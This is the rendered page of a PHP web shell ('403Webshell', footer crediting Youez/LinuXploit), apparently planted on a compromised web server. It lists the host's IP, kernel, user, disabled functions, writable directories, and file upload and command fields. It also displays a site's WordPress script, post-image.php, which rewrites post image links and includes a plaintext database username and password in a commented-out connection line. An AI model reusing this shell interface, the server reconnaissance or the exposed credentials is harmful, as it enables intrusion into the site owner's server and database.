403Webshell
Server IP : 45.139.11.42  /  Your IP : 216.73.216.125
Web Server : LiteSpeed
System : Linux s422.bitcommand.com 5.14.0-687.24.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jul 9 18:14:06 EDT 2026 x86_64
User : simand ( 1070)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/simand/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/simand/public_html/post-image.php
<?php

define('WP_USE_THEMES', true);
// Load the WordPress library.
//require_once( dirname(__FILE__) . '/wp-load.php' );
//$link = mysqli_connect("localhost", "h195467_simandcable", "^k6y+(fhtMru", "h195467_simanddb");
 $link -> set_charset("utf8");
// Check connection
if($link === false){
    die("ERROR: Could not connect. " . mysqli_connect_error());
}

// Attempt select query execution
$sql = "SELECT id,post_content FROM `wp_posts` WHERE `post_type`='post' AND `post_status`='publish'";

if($result = mysqli_query($link, $sql)){
    if(mysqli_num_rows($result) > 0){

        while($row = mysqli_fetch_array($result)){
		
   
			 $dom = new DOMDocument('1.0', 'UTF-8');
	@ $dom->loadHTML('<meta http-equiv="content-type" content="text/html; charset=utf-8">'.mb_convert_encoding($row['post_content'], 'HTML-ENTITIES', 'UTF-8'));

    //@ $dom->loadHTML('<meta charset="UTF-8">'.$res);
	//@ $dom->loadHTML(mb_convert_encoding($res, 'HTML-ENTITIES', 'UTF-8'));

	$counter=0;
	$srcs=[];
	$imgs=[];
    //DOMElement
	$elements=$dom->getElementsByTagName('*');
    foreach($elements as $key=>$element) {

	if($element->nodeName == 'img') {
		
		if($element->getAttribute('src')=="http://barsavash.ir/simandcable/wp-content/plugins/wp-ultimate-csv-importer/importExtensions/../assets/images/loading-image.jpg"){
		  echo $row['id'].'<br/>';
			array_push($imgs,$key);
		
	while(($elements[$key]->nodeName)!='a')
	{
	    
	      
		$key=$key-1;
		  
		if($key==0){
			array_push($srcs,"");
			break;
		}
		
	}
	array_push($srcs,$elements[$key]->getAttribute('href'));
	//print_r($elements[$key]->getAttribute('href'))."<br/>";
		}
		
		
	}
	}

for($i=0;$i<count($srcs);$i++){
	
	$elements[$imgs[$i]]->setAttribute('src',$srcs[$i]);
	
	
	
}
$html=$dom->saveHTML($dom->documentElement);

$string = ["<html>", "<body>", "</html>","</body>"];
$substitute   = ["", "", "",""];

$post_content = str_replace($string, $substitute, $html);
$data = array(
  'ID' => $row['id'],
  'post_content' => $post_content,
 );

wp_update_post( $data );
/*
$sql1 = "UPDATE `wp_posts` SET post_content='".$post_content."' WHERE `ID`='".$row['id']."'";

if (mysqli_query($link, $sql1) === TRUE) {
  echo "Record updated successfully";
} else {
  echo "Error updating record: " . $link->error;
}*/
        }
        mysqli_free_result($result);
    } else{
        echo "No records matching your query were found.";
    }
} else{
    echo "ERROR: Could not able to execute $sql. " . mysqli_error($link);
}

mysqli_close($link);
?>

Youez - 2016 - github.com/yon3zu
LinuXploit